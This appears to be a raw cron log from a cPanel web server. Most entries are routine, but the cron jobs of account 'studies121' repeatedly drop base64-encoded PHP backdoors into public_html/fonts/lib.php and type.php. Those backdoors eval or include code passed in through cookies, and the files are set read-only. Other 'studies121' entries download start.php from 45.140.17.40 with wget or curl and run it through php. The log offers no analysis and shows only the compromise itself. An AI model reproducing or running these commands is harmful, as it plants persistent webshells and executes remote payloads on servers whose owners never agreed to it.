Sep  2 06:46:02 ip-184-168-122-23 CROND[32041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:46:02 ip-184-168-122-23 CROND[32046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:46:02 ip-184-168-122-23 CROND[32047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:46:02 ip-184-168-122-23 CROND[32043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:46:02 ip-184-168-122-23 CROND[32048]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 06:46:02 ip-184-168-122-23 CROND[32044]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 06:46:02 ip-184-168-122-23 CROND[32042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:47:01 ip-184-168-122-23 CROND[32264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:47:01 ip-184-168-122-23 CROND[32268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:47:01 ip-184-168-122-23 CROND[32270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:47:01 ip-184-168-122-23 CROND[32273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:48:01 ip-184-168-122-23 CROND[32424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:48:01 ip-184-168-122-23 CROND[32426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:48:01 ip-184-168-122-23 CROND[32430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:48:01 ip-184-168-122-23 CROND[32429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:48:01 ip-184-168-122-23 CROND[32432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:49:01 ip-184-168-122-23 CROND[32571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:49:01 ip-184-168-122-23 CROND[32574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:49:01 ip-184-168-122-23 CROND[32575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:49:01 ip-184-168-122-23 CROND[32573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:50:01 ip-184-168-122-23 CROND[32731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:50:01 ip-184-168-122-23 CROND[32732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:50:01 ip-184-168-122-23 CROND[32735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:50:01 ip-184-168-122-23 CROND[32740]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 06:50:01 ip-184-168-122-23 CROND[32739]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 06:50:01 ip-184-168-122-23 CROND[32738]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:50:01 ip-184-168-122-23 CROND[32741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:50:01 ip-184-168-122-23 CROND[32742]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:50:01 ip-184-168-122-23 CROND[32743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:51:01 ip-184-168-122-23 CROND[385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:51:01 ip-184-168-122-23 CROND[386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:51:01 ip-184-168-122-23 CROND[387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:51:01 ip-184-168-122-23 CROND[388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:52:01 ip-184-168-122-23 CROND[495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:52:01 ip-184-168-122-23 CROND[498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:52:01 ip-184-168-122-23 CROND[501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:52:01 ip-184-168-122-23 CROND[497]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:52:01 ip-184-168-122-23 CROND[499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:53:01 ip-184-168-122-23 CROND[623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:53:01 ip-184-168-122-23 CROND[626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:53:01 ip-184-168-122-23 CROND[629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:53:01 ip-184-168-122-23 CROND[630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:54:01 ip-184-168-122-23 CROND[835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:54:01 ip-184-168-122-23 CROND[837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:54:01 ip-184-168-122-23 CROND[836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:54:01 ip-184-168-122-23 CROND[839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:54:01 ip-184-168-122-23 CROND[838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:55:01 ip-184-168-122-23 CROND[985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:55:01 ip-184-168-122-23 CROND[988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:55:01 ip-184-168-122-23 CROND[989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:55:01 ip-184-168-122-23 CROND[991]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:55:01 ip-184-168-122-23 CROND[992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:55:01 ip-184-168-122-23 CROND[993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:56:01 ip-184-168-122-23 CROND[1116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:56:01 ip-184-168-122-23 CROND[1119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:56:01 ip-184-168-122-23 CROND[1120]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:56:01 ip-184-168-122-23 CROND[1121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:56:01 ip-184-168-122-23 CROND[1122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:57:01 ip-184-168-122-23 CROND[1272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:57:01 ip-184-168-122-23 CROND[1271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:57:01 ip-184-168-122-23 CROND[1274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:57:01 ip-184-168-122-23 CROND[1273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:58:01 ip-184-168-122-23 CROND[1438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
